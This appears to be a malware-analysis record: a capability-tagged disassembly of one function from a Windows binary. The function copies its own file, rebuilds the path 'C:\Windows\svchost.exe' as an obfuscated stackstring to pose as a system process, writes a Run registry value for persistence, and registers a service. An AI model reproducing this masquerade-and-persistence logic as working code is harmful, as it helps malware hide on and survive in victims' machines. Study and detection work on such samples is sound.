Function at 0x10005fa0
Capabilities:
Contain obfuscated stackstrings
Copy file
Persist via run registry key
Set registry value

Disassembly:
mov eax, dword [0x10016390]
sub esp, 0x120
push ebx
push ebp
mov ebp, 1
cmp eax, ebp
jne 0x10005fbb
call fcn.10005f00
mov ecx, 0x10018100
call fcn.10007cc0
mov eax, 0x10016264
xor ebx, ebx
test eax, eax
je 0x10005fe3
push ebp
push ebx
push ebx
push eax
push 0x10005de0
push ebx
push ebx
call fcn.100087d0
add esp, 0x1c
mov eax, dword [0x100161fc]
push esi
cmp eax, ebx
jne 0x100060d6
cmp dword [0x100161f8], ebp
jne 0x10006099
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x2d]
mov byte [esp + 0x2c], bl
mov esi, str.C:Windows_
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 6
lea edi, [esp + 0x10]
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x2c]
push 0x104
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x10]
push ebx
lea eax, [esp + 0x30]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [esp + 0x28]
push ecx
push 0xf003f
push ebx
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
pop edi
jne 0x10006088
mov eax, dword [esp + 0x24]
lea edx, [esp + 0xc]
push 0x18
push edx
push ebp
push ebx
push 0x10017cec
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 0x24]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.10005520
push 0x3c
call esi
jmp 0x1000608e
cmp dword [0x100161f4], ebp
jne 0x100061b9
call fcn.10006540
test eax, eax
je 0x100060f3
lea edx, [esp + 0xc]
mov dword [esp + 0xc], str.Jklmno
push edx
mov dword [esp + 0x14], 0x10005990
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
call fcn.10005520
cmp dword [0x100161fc], ebp
jne 0x100061b9
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.10005520
push 0x3c
call esi
jmp 0x100060e8
mov al, 0x73
push 0xe1
mov byte [esp + 0x19], al
mov byte [esp + 0x1b], al
mov byte [esp + 0x20], al
mov al, 0x65
mov byte [esp + 0x23], al
mov byte [esp + 0x25], al
lea eax, [esp + 0x2c]
mov dl, 0x5c
mov cl, 0x6f
push eax
push ebx
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x19], 0x3a
mov byte [esp + 0x1a], dl
mov byte [esp + 0x1b], 0x57
mov byte [esp + 0x1c], 0x69
mov byte [esp + 0x1d], 0x6e
mov byte [esp + 0x1e], 0x64
mov byte [esp + 0x1f], cl
mov byte [esp + 0x20], 0x77
mov byte [esp + 0x22], dl
mov byte [esp + 0x24], 0x76
mov byte [esp + 0x25], 0x63
mov byte [esp + 0x26], 0x68
mov byte [esp + 0x27], cl
mov byte [esp + 0x29], 0x74
mov byte [esp + 0x2a], 0x2e
mov byte [esp + 0x2c], 0x78
mov byte [esp + 0x2e], bl
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0xc]
push ebx
lea edx, [esp + 0x2c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
call fcn.10005400
push str.Jklmnopq_Stuvwxyab_Defghij_Lmnopqrs_Uvw
push str.Jklmno_Qrstuvwx_Abcdefgh_Jklm
push str.Jklmno
call fcn.100061d0
add esp, 0xc
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.10005520
push ebx
call dword [sym.imp.MSVCRT.dll_exit]
pop esi
pop ebp
pop ebx
add esp, 0x120
ret